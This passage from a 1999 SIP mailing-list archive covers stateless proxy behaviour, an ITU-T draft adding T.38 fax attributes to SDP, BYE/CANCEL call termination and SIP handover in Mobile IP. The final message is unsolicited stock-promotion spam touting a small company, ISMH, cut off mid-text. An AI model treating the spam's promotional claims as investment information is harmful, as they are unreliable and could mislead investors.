stateless proxies *must* be prepared to re-transmit 420 replies.

If you say that:

1) A stateless proxy must respond with a 420 to any Proxy-Require
   headers it does not understand and,

2) Stateless proxies must "handle" ACKs (e.g. retransmit replies),

...then stateless proxies need to maintain session state (keep
correlation around for a certain length of time, keep timers
for retransmissions, correlate responses, etc).

Which is *exactly* what stateless proxies Do Not Do. That's what
makes them stateless. A stateless proxy that keeps state is
not a stateless proxy.

The solution Sean proposes seems to fit in neatly with the 
rest of a stateless proxy's operation. You seem to have an
objection to it, but your response doesn't provide much
rationale.

Directly: what is broken about depending on the UAC retransmission
to trigger a new response instead of keeping local timers?

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Fri Aug 20 11:20:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA15851
	for confctrl-outgoing; Fri, 20 Aug 1999 11:20:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA15846
	for <confctrl@zephyr.isi.edu>; Fri, 20 Aug 1999 11:20:36 -0700 (PDT)
Received: from smtprch1.nortel.com (smtprch1.nortelnetworks.com [192.135.215.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA18648
	for <confctrl@isi.edu>; Fri, 20 Aug 1999 11:20:35 -0700 (PDT)
Received: from zcard00m.ca.nortel.com (actually zcard00m) 
          by smtprch1.nortel.com; Fri, 20 Aug 1999 13:12:10 -0500
Received: from zcard008.ca.nortel.com ([47.127.82.62]) 
          by zcard00m.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) 
          id RF0P061M; Fri, 20 Aug 1999 14:19:48 -0400
Received: from americasm01.nt.com (pnrsm009.ca.nortel.com [47.232.83.87]) 
          by zcard008.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) 
          id R2DT1XL0; Fri, 20 Aug 1999 14:19:48 -0400
Message-ID: <37BEEE40.A2E02F2@americasm01.nt.com>
Date: Sat, 21 Aug 1999 14:23:17 -0400
From: "Glenn Parsons" <gparsons@nortelnetworks.com>
Organization: Nortel Networks
X-Mailer: Mozilla 4.5 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
CC: schulzrinne@cs.columbia.edu, wenyu@cs.columbia.edu,
        elin.wedlund@etx.ericsson.se
Subject: Support of T.38 fax by SIP/SDP
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854";
              x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

As you may know, Real-time internet fax has been defined in T.38 by
ITU-T Study Group 8.  The group is currently defining call establishment
using SIP and Megacop/H.248 (both with SDP).

In March of this year a draft was proposed taking into account
draft-ietf-mmusic-sdp-t38-00.txt (which has now expired).  Since MMUSIC
is responsible for SIP & SDP, SG8 agreed to send this to the MMUSIC WG
for comments.  However, I don't see it in the archives so perhaps our
chair sent it to the chairs and authors.

To promote wider comment, I am sending this message that contains the
liaison and the draft text.  The Word versions of these can be found at:

ftp://standards.nortelnetworks.com/itu_to_ietf/SG8/March99/

Some key guidance that SG8 is looking for is whether MMUSIC has a
preference for the SDP work to be documented in an Annex to T.38 (since
it is specific to T.38) or in a new RFC (since it is in extension to
SDP).

Study Group 8 meets again September 20-24.

I look forward to your comments.

Cheers,
Glenn.


=======================================




     ITU - Telecommunication Standardization Sector   Temporary Document
0121

     STUDY GROUP 8



     Geneva, 24 March - 1 April 1999


         QUESTION: 4/8

         SOURCE*:  T.38 Ad Hoc Group

         TITLE:    Draft Communication on T.38 Support in SDP

                                   _____________

                                   COMMUNICATION

         TO:       IETF MMUSIC WG

         APPROVAL: (Proposed) Agreed to at March 1999 meeting

         FOR:      Action

         DEADLINE: September 1999


         CONTACT:  Glenn Parsons              Tel:         +1 613 763
7582
                                              Fax:  +1 613 763 4461
                                              Email:

gparsons@nortelnetworks.com


         Introduction

     ITU-T Study Group 8 is the lead Study Group on facsimile.  SG8 has
reviewed
     the proposal <draft-ietf-mmusic-sdp-t38-00.txt> describing the
support of
     Rec. T.38 by SDP and SIP.  SG8 has determined the basic
modifications
     suggested in this proposal are essentially correct n that is, no
changes
     are currently required in SIP but some additions are needed in
SDP.  We
     have expanded the technical details of this proposal specifically
for SDP
     and included them below.

     We would like to inform you that we are currently working on a
draft Annex
     to Rec. T.38 that would support call establishment using SIP &
MGCP.  As

     this work develops, we may require additional SDP or SIP
enhancements.  We
     have attached our current draft for your information and comment.

     We would appreciate your guidance on the appropriate documentation
of the
     SDP enhancements described below.  Besides registration with IANA,
should
     we document them as in the attached draft Annex, in a short RFC
extension
     to SDP, or in the next revision to SDP?


     T.38 SDP Modifications



     As described in section 4 of <draft-ietf-mmusic-sdp-t38-00.txt>,
the
     Session Description Protocol (SDP) provides mechanisms for
describing
     sessions.  Revisions are required to support description of a fax
session.
     The revisions can be included in the next version of SDP or
published as a
     separate document.  The information that needs to be represented in
SDP to
     support Rec. T.38 is:

        1.
           The fact that T.38 is to be used
           Specifically, section 5.1 should include "fax" or "image" as
a media
           type and "T38" as a format type.
           Further, section 6 Media Announcements should indicate that
"image"
           is a valid "media" type (first field).  The media types are
defined
           as being the top level MIME types.  As such, "image" (as in
           image/tiff used in Rec T.3) is the logical choice for
facsimile. (as
           opposed to application or data)

        2.
           Ability to use either TCP or UDP for transport protocol
           Specifically, section 6 Media Announcments should indicate
TCP
           (transmission control protocol) as a valid transport value
(third
           field).  This will also require the registration of "TCP"
with IANA
           as a valid name for the "proto" type per the procedure noted
in
           Appendix B of SDP (RFC 2327).
           Additionally, section 6 Media Announcments should include
"t38" as a
           valid format type value (fourth field).  As this is not an
RTP
           defined value it has to be a MIME sub-type of the media
type.  As a
           result, this will require the registration of "image/t38"
with IANA
           as a valid MIME content-type per the procedure noted in
Appendix B
           of SDP (RFC 2327).  Note that this content-type is consistent
with
           other fax content types (e.g., image/tiff, and image/g3fax)

        3.
           Negotiation of error control to be used by T.38 as well as
other
           capabilities
           Specifically, new attributes (section 6 Attributes) must be
defined
           for each of the following capabilities (from Annex B of Rec.
T.38)
           that must be negotiated before the T.38 session can
progress.  These
           will require the registration of the following with IANA as
valid
           att-field and att-value values per the procedure noted in
Appendix B
           of SDP (RFC 2327).  These capabilities are defined in ABNF:

             Maximum Bit Rate
                Att-field=maxBitRate
                Att-value = 1*(DIGIT)
             Data Rate Management Method
                Att-field=T38facsimileRateMgmnt
                Att-value = localTCF | transferredTCF
             Fill Bit Removal
                Att-field=fillBitRemoval
             MMR & JBIG Transcoding
                Att-field=transcoding
                Att-value=MMR | JBIG
             Maximum Buffer Size
                Att-field=t38facsimileMaxBuffer
                Att-value = 1*(DIGIT)
             Maximum Datagram Size
                Att-field=t38facsimileMaxDatagram
                Att-value = 1*(DIGIT)
             Version
                Att-field=t38Version
                Att-value = 1*(DIGIT)
             Error Control
                Att-field=t38errorControl
                Att-value = UDP_FEC | UDP_Redundancy

                Note that with the error control capability, support of
the
                redundancy method is mandatory and use of FEC is
optional.

     An example of the SDP message could be the following:
               v=0
               o=faxgw1 2890844526 2890842807 IN IP4 128.59.19.68
               s=FAX message
               e=6137634461@company.com
               t=2873397496 0
               c=IN IP4 128.59.19.68
               m=image 49170 udp t38
               a=T38facsimileRateMgmnt:transferredTCF
               a=t38errorControl:UDP_FEC



     Attachments:

                    Proposed Annex C, Rec. T.38
                Proposed Appendix III, Rec. T.38
                                 ___________________




=======================================





     ITU - Telecommunication Standardization Sector   Temporary Document
0118

     STUDY GROUP 8



     Geneva, 24 March - 1 April 1999


     Question:4/8


     SOURCE*: T.38 Ad Hoc Group

     TITLE:   PROPOSED NEW ANNEX C TO REC. T.38

                                 __________________

                     MGCP/SIP/SDP Call Establishment Procedures



     1    Introduction

     This Annex describes system level requirements and procedures for
internet-
     aware facsimile implementations and internet aware facsimile
gateways
     conforming to Rec. T.38 to establish calls with other Rec. T.38
     implementations using the procedures defined by MGCP, SIP & SDP.


     2    Communication between  facsimile terminal and gateway

     Communication between a sending Group 3 facsimile terminal and the
incoming
     gateway is generally effected using dialup procedures over the
PSTN. Basic
     and optional T.30 procedures are supported.  The support for V.34
is for
     further study.

     The gateway may receive the facsimile transmission from the calling

     terminal as a modem signal on the PSTN if the gateway supports a
direct
     dial-in procedure.  Where the gateway is located within the network
it may
     receive the transmission in the form of a PCM encoded digital
channel.
     Internet aware facsimile (IAF) implementations are connected
directly to
     the IP network and act as a gateway for call establishment.

     2.1  Transfer of addressing information

     The conveyance of the Rec. E.164 address of the called terminal
from the
     calling terminal to the emitting gateway may be by manual
procedures using
     prompts; by means of double dialling; or by any other suitable
means

     3    Communication between gateways

     3.1  Overview

     3.1.1Call Setup

     Call setup for Rec. T.38 Annex C compliant implementations is based
on SIP
     defined in IETF RFC 2543 and MGCP defined in IETF RFC XXXX.  As in
Annex B,
     Rec. T.38 implementations may operate in two distinct compatible
     environments.

          1.
            A facsimile-only over IP environment. In this environment,
no voice
            support is provided.  The procedures and requirements of
section
            3.2.1 of this Annex shall apply to implementations operating
in
            this environment.

          2.
            A facsimile and voice over IP environment. The procedures
and
            requirements of section 3.2.2 of this Annex shall apply to
            implementations operating in this environment.

     3.1.2Media Channels

     Rec. T.38 facsimile packets are sent on a separate TCP/UDP port
from
     MGCP/SIP call signalling (TCP).  A minimal T.38 Annex B
implementation
     requires a TCP port for call signalling and either a UDP port or a
TCP port
     for Rec. T.38 facsimile information.

     3.2  Basic Call Setup

     According to RFC2543 section 1, SIP supports a five phase of
establishing
     and terminating a call:


        User location: determination of the end system to be used for

             communication;

        User capabilities: determination of the media and media
parameters to

             be used;

        User availability: determination of the willingness of the
called

             party to engage in communications;

        Call setup: "ringing", establishment of call parameters at both

             called and calling party;

        Call handling: including transfer and termination of calls.



        SIP can also be used in conjunction with other call setup and

        signaling protocols. In that mode, an end system uses SIP
exchanges

        to determine the appropriate end system address and protocol
from a

        given address that is protocol-independent. For example, SIP
could be

        used to determine that the party can be reached via H.323 [7],
obtain

        the H.245 [8] gateway and user address and then use H.225.0 [9]
to

        establish the call.



        SIP can invite users to sessions with and without resource

        reservation.  SIP does not reserve resources, but can convey to
the

        invited system the information necessary to do this.

     3.2.1Fax Only Connection

     Digits are collected by the media gateway (MG) and sent to the
calling
     agent to invite the called party.

     Upon detection of CNG by the media gateway (MG), the calling agent
is
     informed (via MGCP) of this event and requests that the connection
be
     changed to T.38 fax (per the SDP of section 3.3).  This can be done
in two
     ways:

          1.      If the Call Agent controls both MGs, then MGCP is used
to
             modify the existing connection between the two MGs

          2.      If different call agents are involved, then the
on-ramp call
             agent sends a SIP INVITE request (with the same call-id as
the
             voice connection) for a T.38 session.  On confirmation, the
on-
             ramp call agent instructs its media gateway (via MGCP) to
initiate
             a T.38 session with the off-ramp MG.

     3.2.2Voice and Fax Connection

     Digits are collected by the media gateway (MG) and sent to the
calling
     agent to invite the called party.

     A SIP INVITE is made to the called party requesting a voice
connection per
     the requirements of RFC 2543.

     Upon detection of CNG by the media gateway (MG), the calling agent
is
     informed (via MGCP) of this event and requests that the connection
be
     changed to T.38 fax.  As per section 3.2.1

     Upon completion of the fax call (T.38 completion) by the off-ramp
media
     gateway (MG), the calling agent is informed (via MGCP) of this
event and
     requests that the connection be reverted to voice.

     3.3  Capabilities Negotiation

     There are several options that need to be negotiated to determine
which
     options the gateways support and use.  These are described in Table
B-
     1/Rec. T.38

     The Session Description Protocol (SDP) - RFC 2327 provides
mechanisms for
     describing sessions for SIP and MGCP. However, new attributes
(section 6 of
     SDP) are required to support Rec. T.38.  Specifically, the
following will
     be registered with IANA as valid att-field and att-value values per
the
     procedure noted in Appendix B of SDP (RFC 2327). These capabilities
are
     negotiated using the following ABNF elements defined for use with
T.38:


             Maximum Bit Rate

                Att-field=maxBitRate

                Att-value = 1*(DIGIT)

             Data Rate Management Method

                Att-field=T38facsimileRateMgmnt

                Att-value = localTCF | transferredTCF

             Fill Bit Removal

                Att-field=fillBitRemoval

             MMR & JBIG Transcoding

                Att-field=transcoding

                Att-value=MMR | JBIG

             Maximum Buffer Size

                Att-field=t38facsimileMaxBuffer

                Att-value = 1*(DIGIT)

             Maximum Datagram Size

                Att-field=t38facsimileMaxDatagram

                Att-value = 1*(DIGIT)

             Version

                Att-field=t38Version

                Att-value = 1*(DIGIT)

             Error Correction

                Att-field=t38errorControl

                Att-value = UDP_FEC | UDP_Redundancy

               Note that with the error control capability, support of
the
               redundancy method is mandatory and use of FEC is
optional.



     3.3.1 Declaration of T.38 in SDP


     Rec. T.38 is indicated by the image/t38 content type in SDP.


     This choice is consistent with image/tiff used in Rec. T.37 and
image/g3fax
     used for Rec. X.420.

     3.3.2 Use of either TCP or UDP

     Two logical channels (sender to receiver channel and receiver to
sender
     channel) shall be opened for the transfer of T.38 packets. T.38
packets can
     be transferred using either TCP or UDP. In general, the usage of
TCP is
     more effective when the bandwidth for facsimile communication is
limited,
     or for IAF to IAF transfers since TCP provides flow control. On the
other
     hand, the usage of UDP may be more effective when the bandwidth for

     facsimile communication is sufficient.

     Note that during the SIP call setup, the calling party suggests the

     transport (TCP or UDP) but the called party choses.

     In support of T.38 choice of UDP or TCP transport, SDP extensions
are
     required to:

          . indicate TCP (transmission control protocol) as a valid
transport
            value (third field).  This will also require the
registration of
            TCP with IANA as a valid name for the proto type per the
procedure
            noted in Appendix B of SDP (RFC 2327).

          . include t38 as a valid format type value (fourth field).  As
this
            is not an RTP defined value it has to be a MIME sub-type of
the
            media type.  As a result, this will require the registration
of
            image/t38 with IANA as a valid MIME content-type per the
procedure
            noted in Appendix B of SDP (RFC 2327).

     3.4  Examples of Call Setup

     3.4.1  Fax only invite

     For a two party call between T.38 gateways:

          C->S: INVITE sip:+1-212-555-1234@bell-tel.com SIP/2.0
               Via: SIP/2.0/UDP kton.bell-tel.com
               From: A. Bell <sip:+1-519-555-1234@bell-tel.com>
               To: T. Watson <sip:+1-212-555-1234@bell-tel.com>
               Call-ID: 3298420296@kton.bell-tel.com
               CSeq: 1 INVITE
               Subject: Mr. Watson, here is a fax
               Content-Type: application/sdp
               Content-Length: ...

               v=0
               o=faxgw1 2890844526 2890842807 IN IP4 128.59.19.68
               s=Mr. Watson, here is a fax
               e=+1-212-555-1234@bell-tel.com
               t=2873397496 0
               c=IN IP4 128.59.19.68
               m=image 49170 udp t38
               a=T38facsimileRateMgmnt:transferredTCF
               a=t38errorControl:UDP_FEC

          S->C: SIP/2.0 200 OK
               ...



     Others TBD

     3.5  Minimum Call Setup Messages

     The Annex C implementation shall support the minimum requirements
for a SIP
     client and server as defined in RFC 2543 section A.1 and A.2:



        All clients MUST be able to generate the INVITE and ACK
requests.

        Clients MUST generate and parse the Call-ID, Content-Length,

        Content-Type, CSeq, From and To headers. Clients MUST also parse
the

        Require header. A minimal implementation MUST understand SDP
(RFC

        2327, [6]). It MUST be able to recognize the status code classes
1

        through 6 and act accordingly.



        A minimally compliant server implementation MUST understand the

        INVITE, ACK, OPTIONS and BYE requests. A proxy server MUST also

        understand CANCEL. It MUST parse and generate, as appropriate,
the

        Call-ID, Content-Length, Content-Type, CSeq, Expires, From, Max-

        Forwards, Require, To and Via headers. It MUST echo the CSeq and

        Timestamp headers in the response. It SHOULD include the Server

        header in its responses.



     3.6  Mapping of Call Progress Signals

     For call setup and call progress the return signals can be
simplified to
     the following set.  These are all returned prior to or instead of a
200 OK
     response to the INVITE request.



                 Meaning             SIP Response Mapping

        Busy1.  Subscriber busy    486 Busy here
        tone as defined in ITU-T
        Recommendation Q.35.

        Busy2.  Sometimes          486 Busy here
        referred to as
        Distinctive Busy on some
        PABX models.

        Congestion busy as         600 Busy everywhere
        defined in ITU-T Rec.
        Q.35.

                 Meaning             SIP Response Mapping

        Ring1. Ringing tone as     180 Ringing
        defined in ITU-T
        Recommendation Q.35. This
        is an intermediate call
        progress indicator.  It
        can be used to generate a
        ringback signal to the
        originating G3FE as if it
        there were an end-to-end
        PSTN connection.

        Ring2. Ringing tone        180 Ringing
        similar to Ring1 where
        two short rings are
        generated instead of one
        long ring.  This is an
        intermediate call
        progress result.

        SIT Intercept.  Special    503 Service Unavailable
        Information Tones are
        defined in ITU-T
        Recommendation Q.35.
        Intercept Tone is one
        combination of tones -
        frequency and duration.

        SIT Vacant. Special        503 Service Unavailable
        Information Tones are
        defined in ITU-T
        Recommendation Q.35.
        Circuit Vacant Tone is
        one combination of tones
        - frequency and duration.

        SIT Reorder. Special       503 Service Unavailable
        Information Tones are
        defined in ITU-T
        Recommendation Q.35.
        Reorder Tone is one
        combination of tones -
        frequency and duration.

                 Meaning             SIP Response Mapping

        SIT No Circuit. Special
        Information Tones are
        defined in ITU-T
        Recommendation Q.35. No
        Circuit Tone is one
        combination of tones -
                                   503 Service Unavailable
        frequency and duration




        Note: SIT tones are not distinguished because it generally
indicates a
        problem with the number to dial

       The 200 OK message in response to an INVITE request is returned
when the
       gateway, by some means, determines that a connection to the
terminal
       G3FE has been established.  If CED or FSK flags are detected, the

       appropriate Rec. T.38 messages can be sent.

     3.7  Usage of the MaxBitRate in messages

     When TCP is used for T.38 fax transmission, maxBitRate does not
apply.
     When UDP is used for T.38 fax transmission, maxBitRate usage in SIP
is TBD.

     3.8  DTMF transmission

     MGCP supports collection of DTMF digits to make a call.  SIP can
transfer
     these DTMF digits as a SIP URL as defined in RFC 2543 section 2:

          sip:+1-212-555-1212@gateway.com;user=phone

     DTMF transmission during an established voice and fax connection is
for
     Further Study.

     3.9  Interoperability

     Both SIP and Rec. T.38 Annex B require a well known port to
initiate call
     signalling. As described in SIP, its well-known port is 5060.  Rec.
T.38
     Annex C endpoints shall use the SIP well-known port. In order for a
single
     implementation (such as a gateway) to support multiple endpoints,
dynamic
     ports must be used.

     4    References

     The following references should be added to Section 2 of Rec. T.38


     SIP: Session Initiation Protocol - Proposed Standard
          http://www.ietf.org/rfc/rfc2543.txt

     SDP: Session Description Protocol  - Proposed Standard
          http://www.ietf.org/rfc/rfc2327.txt

     MGCP: Media Gateway Control Protocol - Internet Draft in initial
discussion
          http://
www.ietf.org/internet-drafts/draft-huitema-megaco-mgcp-v0r1-
     05.txt

                                 ___________________




From confctrl-owner  Sun Aug 22 19:58:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA29458
	for confctrl-outgoing; Sun, 22 Aug 1999 19:58:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA29453
	for <confctrl@zephyr.isi.edu>; Sun, 22 Aug 1999 19:58:36 -0700 (PDT)
Received: from petrack.metatel.com (root@ts007d21.cht-ma.concentric.net [206.173.20.81])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA16876
	for <confctrl@ISI.EDU>; Sun, 22 Aug 1999 19:58:34 -0700 (PDT)
Received: from localhost (scott.petrack@localhost)
	by petrack.metatel.com (8.9.3/8.9.3) with ESMTP id WAA04585;
	Sun, 22 Aug 1999 22:30:45 -0400
X-Authentication-Warning: petrack.metatel.com: scott.petrack owned process doing -bs
Date: Sun, 22 Aug 1999 22:30:45 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: Jonathan Rosenberg <jdrosen@bell-labs.com>
cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>,
        "Adam B. Roach" <Adam.Roach@ericsson.com>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Jorge.Sanchez@ebc.ericsson.se, confctrl@ISI.EDU
Subject: Re: ISUP tunneling
In-Reply-To: <37B887F5.8E3D7AF2@bell-labs.com>
Message-ID: <Pine.LNX.4.10.9908222148450.3953-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


We certainly prefer approach 2 -- send a BYE to terminate a call. The
rules seemed simple to us:

	a) Send a CANCEL to stop branches of a parallel search. 
	b) Send a BYE to terminate a call.

These are two separate things. A CANCEL never affects a UAS which already
sent a 200 OK. If you want to terminate a call, you can always try sending
a CANCEL in hopes that it will help, but you will have to send a BYE to
anything that responded 200 OK to the INVITE. We just send BYEs for now.

If the UAC gets a tagged response to the
INVITE, and does not get an identically tagged response to the untagged 
BYE, the UAC must retransmit the BYE with the correct tag in the To: line.
(of course, it might have to send the BYE to the address it got from the
Contact: field in the response). 

If the SIP system routes the BYEs to a different set of UAS as it routed
the INVITEs, maybe it will also route CANCEL to still a different set. 

Bottom line: send a BYE to hang up a call. You might have to send more
than one BYE (a "general" BYE and then some specific ones aimed at
particular UAS (using a tag or a Contact: address).

Scott 

On Mon, 16 Aug 1999, Jonathan Rosenberg wrote:

> Henning Schulzrinne wrote:
> > 
> > "Adam B. Roach" wrote:
> > >
> > 
> > >
> > > We had a conversation last week about CANCEL and BYE that really
> > > cleared some things up for me; however, it's not information that
> > > I've seen written down anywhere. It may be useful to document
> > > somewhere that, for example, when a UAC wishes to terminate a session,
> > > he typically sends a BYE instead of a CANCEL to do so, even if no
> > > INVITE response has been received yet. (As an aside: doesn't this
> > > mean you have two pending transactions at the same time? Is that okay?)
> > 
> > See Section 4.2.4 in the preliminary revised version of the SIP spec
> > posted on the SIP web page (ttp://www.cs.columbia.edu/sip/drafts.html).
> > (Note that this version does not yet incorporate all proposed changes
> > and corrections noted in the "Changes" section.)
> 
> The issue, as I recall, was to how the BYE is used. There are two
> possibilities:
> 
> 1. After the INVITE is sent, the UAC decides it wants to hang up. So, it
> sends a CANCEL. Under normal circumstances, this will arrive before any
> UAS has answered. The UAC receives a 200 OK to the CANCEL immediately
> (since its locally generated by the first proxy), and then a 487 Request
> Cancelled response later on, after its been passed back from the UAS's,
> through the proxies, and back to the UAC. Problem is, a 200 OK and a
> CANCEL may "pass on the wire". In this case, the UAC still gets a 200 OK
> to the request. So, it sends an ACK (?), and then hangs up with a BYE.
> Note that the ACK and BYE both have tags, as they are directed at a
> specific user. In really oddball cases, there may be multiple 200 OK's,
> and the UAC must send an ACK (?) and then a BYE for each (always with
> tags matching the tag in the 200 OK).
> 
> 2. After the INVITE is sent, the UAC decides it wants to hang up. So, it
> sends a BYE. This BYE has no tag in it (as there has not been any final
> responses). The BYE (hopefully) follows the same set of proxies as the
> original INVITE (there is no Route header either), and reaches the same
> set of UAS's as the INVITE. Each of those then sends a 200 OK to the
> BYE, and some kind of error response to the INVITE. The UAC will
> therefore see a 200 OK to its BYE, and an error response to its INVITE.
> However, there is also a race condition here. The BYE and a 200 OK to
> the INVITE may pass on the wire. Thus, the UAC may see a 200 OK to the
> INVITE, and a 200 OK to the BYE. In this case, though, the UAC doesn't
> need to do anything else, since the BYE will still have caused the call
> to hang up. This case can yield odd results if the BYE reaches a
> different set of UAS's than the INVITE. Then, the UAC may still receive
> a 200 OK to the BYE (since one of the UAS's responded with a 200 OK),
> but the call is still active with some other UAS which did not get the
> BYE. This would be really bad, in fact. 
> 
> 
> 
> I used to think the right approach is (2), but after discussing it with
> Igor, Adam and others, and thinking about it some more, I'm beginning to
> think (1) might be better. The case of one side thinking the call is
> active, and the other thinking its not, is quite bad. The only issue
> here is whether to send an ACK to the INVITE in this case. I'm inclined
> to say yes, so that the effect of a CANCEL is really just to speed up
> completion of a transaction; otherwise, the behavior is normal. 
> 
> 
> -Jonathan R.
> 
> -- 
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen
> 


From confctrl-owner  Sun Aug 22 23:31:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA05945
	for confctrl-outgoing; Sun, 22 Aug 1999 23:31:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA05940
	for <confctrl@zephyr.isi.edu>; Sun, 22 Aug 1999 23:31:04 -0700 (PDT)
Received: from audrey.itr.unisa.edu.au (patty.levels.unisa.edu.au [130.220.19.23])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA23057
	for <confctrl@isi.edu>; Sun, 22 Aug 1999 23:31:02 -0700 (PDT)
Received: from spri.levels.unisa.edu.au (pravda.itr.unisa.edu.au [172.17.0.141])
	by audrey.itr.unisa.edu.au (8.9.3/8.9.1) with ESMTP id QAA18077
	for <confctrl@isi.edu>; Mon, 23 Aug 1999 16:01:02 +0930 (ACST)
Message-ID: <37C0EBA6.63FF246A@spri.levels.unisa.edu.au>
Date: Mon, 23 Aug 1999 16:05:18 +0930
From: Daniel Floreani <daniel@SPRI.Levels.UniSA.Edu.Au>
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Handover between two SIP servers
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I am working on the issue of integrating the SIP protocol architecture
into the Mobile IP architecture, with special interest in Mobile IP
for Radio Access networks. 

I have made the following assumptions:

1> there is a SIP server in every Local Serving Function (LSF). This
means
that a SIP server manages the calls for a certain number of Radio access
networks.

2> the SIP server and the MobileIP Serving Mobility Manager interact
closely 
to update and/or find the mobile IP users current location.

3> the SIP server acts in proxy mode, not redirection mode.

So far, I think I have been sucessful in creating procedures for
registration, 
registration update after mobile IP handover, and call maintenance
after MIP handover within the same LSF. I have struck problems with
maintaining
a call if the Mobile user wishes to handover to a new LSF, and hence a 
new SIP server.

So in summary, my question is - is there a mechanism within SIP to allow
a 
SIP server, acting as a proxy to hand over to another SIP server, while
keeping
the current SIP session active.

thanks
daniel floreani
Email:daniel@spri.levels.unisa.edu.au

From confctrl-owner  Sun Aug 22 23:51:42 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA06593
	for confctrl-outgoing; Sun, 22 Aug 1999 23:51:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA06585
	for <confctrl@zephyr.isi.edu>; Sun, 22 Aug 1999 23:51:40 -0700 (PDT)
Received: from mx.seanet.com (ats1-61.worldramp.net [207.30.147.63])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA23531;
	Sun, 22 Aug 1999 23:51:20 -0700 (PDT)
From: <Pent350MHz@citycom.com>
Subject: Free Research Report Enclosed......(adv)
Date: Sun, 22 Aug 1999 02:52:33
Message-Id: <166.812555.275776@mx.seanet.com>
Mime-Version: 1.0
Content-Type: text/html; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


<base HREF="http://www.ismh.com/">
<html>

<head>

<meta name="DESCRIPTION"
content="International Sports Management Holding Corporation is a publicly held Corporation established in 1993 and currently listed under the symbol (ISMH)">
<meta name="KEYWORDS"
content="international, ISM, Team, IRL, ISMH, Holding, Marketing, Management, sports, Athlete, football, basketball, golf, racing, Indy Racing League, auto, sports, Indy-car, Indy, Indiana, Indianapolis, track, sports, motorsports,  Jeff Ward, 500, 200, oval, Sponsors, Fan Club">
<meta name="RATING" content="General">
<meta name="ROBOTS" content="All">
<meta name="AUTHOR" content="Webize, Inc. - http://www.webize.com">
<script language="JavaScript">

<!-- 
if (top==self) self.location.href = "index.htm";
//-->

</script>

<title>ISM HOLDING CORP.</title>
<base Target="body">
</head>

<body topmargin="0" leftmargin="0" bgcolor="#FFFFFF"
style="font-family: Arial, verdana, sans-serif">
<div align="left">

<table border="0" cellpadding="0" cellspacing="0" width="909">
</table>
</div><div align="center"><center>

<table border="0" cellspacing="0" width="90%">
  <tr>
    <td width="100%"><div align="center"><center><table border="1" cellspacing="0"
    bordercolor="#FFFFFF" bordercolorlight="#FFFFFF" bordercolordark="#0000FF" cellpadding="4">
      <tr>
        <td><blink>EMERGING GROWTH RESEARCH REPORTS PRESENTS</blink></td>
      </tr>
    </table>
    </center></div><p><small><font face="Arial">International Sports Management Holding
    Corporation (ISM) is a publicly held Corporation established in 1993 and currently listed
    under the symbol (ISMH). The company&#146;s offices and race shops are located in a 42,000
    square foot state of the art building at 4500 W. 96<sup>th</sup> St. in Indianapolis,
    Indiana in the Mayflower Business Park. ISM specializes in sports marketing and
    sponsorship solicitation for sports properties, as well as owning, marketing and managing
    its own professional auto racing teams. ISM currently owns a team in the Indy Racing
    League (IRL), which races in the prestigious Indianapolis 500 as well as ten additional
    races in eight major cities in the United States. </font></small></p>
    <font face="Arial"><p><small>It is ISM&#146;s objective to maximize shareholder value
    through the utilization of its corporate officers&#146; vast knowledge and experience in
    the field of sports marketing and management as well as incremental revenue programs.
    ISM&#146;s business philosophy and practices are geared toward maximizing success and
    minimizing uncertainty and instability. Together with a staff of highly experienced and
    competent personnel, ISM has enjoyed great success in efficient utilization its capital
    resources.</small></font></p>
    <p align="center"><a name="DESCRIPTION OF BUSINESS"><font face="Arial" size="3"><strong>DESCRIPTION
    OF BUSINESS</strong></font></a></p>
    <p align="left"><font FACE="Arial" size="2">ISM is a nationally recognized sports
